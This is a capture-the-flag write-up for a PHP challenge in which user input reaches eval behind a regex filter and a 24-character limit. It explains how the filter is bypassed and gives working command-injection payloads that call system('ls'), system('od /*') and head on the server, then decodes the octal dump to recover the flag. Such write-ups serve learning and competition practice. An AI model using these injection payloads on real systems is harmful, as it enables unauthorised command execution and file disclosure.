Tags: python3 od
Rating: 5.0
# Input
Calling http://web.zh3r0.cf:2222/, we are received with the following php code:
```php
24 || gettype($a)!=="string" ){
die("oh nâu!!");
}
if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
$a=md5($a);
}
if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
$a=md5($a);
}
eval("echo 'Hello ".$a."
$flag';");
}
```
We can see in the beginning that if the query parameter `user` is not set, it displays its own file (this is why we were received with it).
When the `user` is provided some code is executed and at the end the page shows `'Hello ".$a."
$flag'`, trying any input, $flag shows us a picture of a donkey laughing at us.
# Understanding the input locally
## Input adapted for local usage
Let's first remove the include (we don't know what is in it anyway), replace `$flag` by `Here is the flag: ???`. We will write that in a `index.php` file.
We will be able to launch this script using `php -S 127.0.0.1:8000 ./index.php`,
With minor re-indent, the script looks like:
```php
24 || gettype($a)!=="string" ){die("oh nâu!!");}
if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
$a=md5($a);
}
if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
$a=md5($a);
}
eval("echo 'Hello ".$a."
Here is the flag: ???';");
}
```
## Making sense of the script
The script follows 3 "if" statement.
If we enter the first one, the script dies.
If we enter the second one, our input is updated by its own md5 hash.
If we enter the third one, our input is updated by its own md5 hash.
After all that, our input (potentially under md5 format) is sent through `eval`, without being sanitized or anything. This is a security flaw we will try to exploit (not that there is anything else here anyway).
To exploit it, we need to skip all the `if` to avoid our command being a md5. Our input will look like `',...,'`, that way we escape the string and execute our code.
### First if condition
The condition is: `strlen($a)>24 || gettype($a)!=="string"`, which can be also written as: `!(strlen($a)<=24 && gettype($a)==="string")`
It means the content of the query parameter must be a string and have maximum 24 characters.
### Second if condition
```php
preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a
```
It means the content of the query parameter must NOT contain any of the following character:
```
;^~&|[]$.`"+->?nc
```
It must also not finish by `\`.
Without n and c, we can forget "print" and "exec" commands. Following advice from [stackoverflow](https://stackoverflow.com/a/732844) and use the `system` command.
Our input will look like `',system(...),'`
### Third if condition
This one is the worst.
```php
(strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i", substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i", substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))
```
Let's go at it step by step. First we should indent it a little bit.
```php
(
strpos(substr($a,4,strlen($a)),"(")>1
|| strpos(substr($a,6,strlen($a)),")")>1
) && (
preg_match("/[A-Za-z0-9_]/i", substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))
|| preg_match("/[A-Za-z0-9_']/i", substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1))
)
```
Ready? Go!
#### Third if condition, the first part
Let's start with what is before the &&.
`strpos(substr($a,4,strlen($a)),"(")>1` => We check whether there is a `(` after the 4th character of our input
`strpos(substr($a,6,strlen($a)),")")>1` => We check whether there is a `)` after the 6th character of our input
This is very likely to happen if we want to execute commands. We should consider these conditions are always valid. Just writing `',system(...),'` has a parenthesis after the 4th character.
#### Third if condition, the second part
We are left with:
```
(
preg_match("/[A-Za-z0-9_]/i", substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))
|| preg_match("/[A-Za-z0-9_']/i", substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1))
)
```
We tried to understand it manually at first, but we did a small mistake.
To complete our understanding, let's strip the condition in our `index.php`:
```
eval("echo '
Hello ".strpos(substr($a,4,strlen($a)),"("));
eval("echo '
Hello ".substr($a,2+strpos(substr($a,4,strlen($a)),"("),2));
```
If our input is `flagazerty(ABCDEFGHJK)` => we understand that we take the 2 characters preceding the FIRST `(` that is after the 4th position. With our input `ty`. Those characters MUST NOT be alphanumeric characters, nor `_`.
Remember that we want to use `',system(...),'`, it contains a parenthesis after the 4th position. This condition will take the 2 preceding characters `em`, and because at least one of them is alphanumeric, our input will be hashed :(
Let's update our input to have another `(` that will be the one being checked, and write garbage before it. `,,,,(',system(...),'`.
Let's finish with handling the second part of the OR condition, it focuses on the `)` character.
```
eval("echo '
Hello ".strpos(substr($a,4,strlen($a)),"("));
eval("echo '
Hello ".substr($a,2+strpos(substr($a,4,strlen($a)),"("),2));
eval("echo '
Hello ".substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1));
```
If our input is `flag(AAAABCDEFGHJK)`, it checks that the 11th character after `(` (`H` in our input) is not alphanumeric or `_`.
If our input is `flag(AAAABCDEF)` (i.e. less than 11 characters after `(`), it checks that the character preceding the next `)` (`F` in our input) is not alphanumeric or `_`.
Let's update our input to have another `)` to take care of that: `,,,,()',system(...),'`.
## Finding the flag
With `,,,,()',system(),'` we have already 18 characters.
Let's do `,,,,()',system('ls'),'` (22 characters). => Reminder to launch the call: `http://web.zh3r0.cf:2222/?user=,,,,()',system('ls'),'`
It outputs: Hello ,,,,()flag.php index.php robots.txt robots.txt
It would be great to be able to read the content of `flag.php`. After a LOT of time we found that we can use `od` to do an octal dump (`pr` doesn't work, because it will remove the php code) => `,,,,()',system('od *'),'` (24 characters, the MAX). We'll skip this part, the content of flag.php is just:
```php
$flag = link towards the image of the donkey laughing at us
```
With `,,,,()',system('ls /'),'`, we find a file FLAAA444AAGGG999GGG (or something close to that). However `,,,,()',system('od /*'),'` is 25 characters. What a shame!
We then had an idea. The character preceding `)` is `'`, it is not alphanumeric so it still bypass the WAF. After a bit of rework we found `,,',(system('od /*')),'` => 23 characters long and still bypass the WAF!
`http://web.zh3r0.cf:2222/?user=,,,,',(system('od /F*')),'` returns the octal of the file we are interested in.
```
0000000 066146 063541 062547 062547 070056 070150 005015 066146
0000020 063541 074170 027170 074164 006564 063012 060554 063147
0000040 065541 032545 005015 066146 063541 060546 062553 006464
0000060 063012 060554 063147 065541 031545 005015 066146 063541
0000100 060546 062553 006462 063012 060554 063147 065541 030545
0000120 005015 064172 071063 075460 032127 066522 070125 032137
0000140 043137 067165 030537 031463 031463 031463 031463 033463
0000160 006575 063012 060554 063147 065541 033145
```
We can skip the first column, which is just an offset in octal. The data is all the other values.
This od format is actually painful to handle 066146 is not the same as the octal numbers 066 and 146 (that can be used with an ascii table).
It is `0*8^5 + 6*8^4 + 6*8^3 + 1*8^2 + 4*8^1 + 6*8^0`, not `0*8^2 + 6*8^1 + 6*8^0` + `1*8^2 + 4*8^1 + 6*8^0`.
We decided to use python to write it in hexadecimal. We could have gone with an array of each octal number, use a foreach to `print(hex())` each of them, but well... it's a CTF, and we're good with sublime text capabilities so it was way faster for us.
Below the format is: `print(hex(OCTAL_NUMBER)) # hexadecimal result printed by python => hexadecimal, padded with 0 => Endianness fixed/reversed`
```python
print(hex(0o066146)) # 0x6c66 => 6c66 => 666c
print(hex(0o063541)) # 0x6761 => 6761 => 6167
print(hex(0o062547)) # 0x6567 => 6567 => 6765
print(hex(0o062547)) # 0x6567 => 6567 => 6765
print(hex(0o070056)) # 0x702e => 702e => 2e70
print(hex(0o070150)) # 0x7068 => 7068 => 6870
print(hex(0o005015)) # 0xa0d => 0a0d => 0d0a
print(hex(0o066146)) # 0x6c66 => 6c66 => 666c
print(hex(0o063541)) # 0x6761 => 6761 => 6167
print(hex(0o074170)) # 0x7878 => 7878 => 7878
print(hex(0o027170)) # 0x2e78 => 2e78 => 782e
print(hex(0o074164)) # 0x7874 => 7874 => 7478
print(hex(0o006564)) # 0xd74 => 0d74 => 740d
print(hex(0o063012)) # 0x660a => 660a => 0a66
print(hex(0o060554)) # 0x616c => 616c => 6c61
print(hex(0o063147)) # 0x6667 => 6667 => 6766
print(hex(0o065541)) # 0x6b61 => 6b61 => 616b
print(hex(0o032545)) # 0x3565 => 3565 => 6535
print(hex(0o005015)) # 0xa0d => 0a0d => 0d0a
print(hex(0o066146)) # 0x6c66 => 6c66 => 666c
print(hex(0o063541)) # 0x6761 => 6761 => 6167
print(hex(0o060546)) # 0x6166 => 6166 => 6661
print(hex(0o062553)) # 0x656b => 656b => 6b65
print(hex(0o006464)) # 0xd34 => 0d34 => 340d
print(hex(0o063012)) # 0x660a => 660a => 0a66
print(hex(0o060554)) # 0x616c => 616c => 6c61
print(hex(0o063147)) # 0x6667 => 6667 => 6766
print(hex(0o065541)) # 0x6b61 => 6b61 => 616b
print(hex(0o031545)) # 0x3365 => 3365 => 6533
print(hex(0o005015)) # 0xa0d => 0a0d => 0d0a
print(hex(0o066146)) # 0x6c66 => 6c66 => 666c
print(hex(0o063541)) # 0x6761 => 6761 => 6167
print(hex(0o060546)) # 0x6166 => 6166 => 6661
print(hex(0o062553)) # 0x656b => 656b => 6b65
print(hex(0o006462)) # 0xd32 => 0d32 => 320d
print(hex(0o063012)) # 0x660a => 660a => 0a66
print(hex(0o060554)) # 0x616c => 616c => 6c61
print(hex(0o063147)) # 0x6667 => 6667 => 6766
print(hex(0o065541)) # 0x6b61 => 6b61 => 616b
print(hex(0o030545)) # 0x3165 => 3165 => 6531
print(hex(0o005015)) # 0xa0d => 0a0d => 0d0a
print(hex(0o064172)) # 0x687a => 687a => 7a68
print(hex(0o071063)) # 0x7233 => 7233 => 3372
print(hex(0o075460)) # 0x7b30 => 7b30 => 307b
print(hex(0o032127)) # 0x3457 => 3457 => 5734
print(hex(0o066522)) # 0x6d52 => 6d52 => 526d
print(hex(0o070125)) # 0x7055 => 7055 => 5570
print(hex(0o032137)) # 0x345f => 345f => 5f34
print(hex(0o043137)) # 0x465f => 465f => 5f46
print(hex(0o067165)) # 0x6e75 => 6e75 => 756e
print(hex(0o030537)) # 0x315f => 315f => 5f31
print(hex(0o031463)) # 0x3333 => 3333 => 3333
print(hex(0o031463)) # 0x3333 => 3333 => 3333
print(hex(0o031463)) # 0x3333 => 3333 => 3333
print(hex(0o031463)) # 0x3333 => 3333 => 3333
print(hex(0o033463)) # 0x3733 => 3733 => 3337
print(hex(0o006575)) # 0xd7d => 0d7d => 7d0d
print(hex(0o063012)) # 0x660a => 660a => 0a66
print(hex(0o060554)) # 0x616c => 616c => 6c61
print(hex(0o063147)) # 0x6667 => 6667 => 6766
print(hex(0o065541)) # 0x6b61 => 6b61 => 616b
print(hex(0o033145)) # 0x3665 => 3665 => 6536
```
We now feed that in cyber chef.
Input:
```
666c 6167 6765 6765 2e70 6870 0d0a 666c 6167 7878 782e 7478 740d 0a66 6c61 6766 616b 6535 0d0a 666c 6167 6661 6b65 340d 0a66 6c61 6766 616b 6533 0d0a 666c 6167 6661 6b65 320d 0a66 6c61 6766 616b 6531 0d0a 7a68 3372 307b 5734 526d 5570 5f34 5f46 756e 5f31 3333 3333 3333 3333 3337 7d0d 0a66 6c61 6766 616b 6536
```
Operation: `From Hex`
Output:
```
flaggege.php
flagxxx.txt
flagfake5
flagfake4
flagfake3
flagfake2
flagfake1
zh3r0{W4RmUp_4_Fun_13333333337}
flagfake6
```
We finally have a flag. We hate `od`, nothing to add.
p.s. It was found in https://ctftime.org/writeup/28631 that spaces can also be used to bypass the WAF, and save even more characters: `',system ('head /*' ),'`, without feeling the pain of `od`.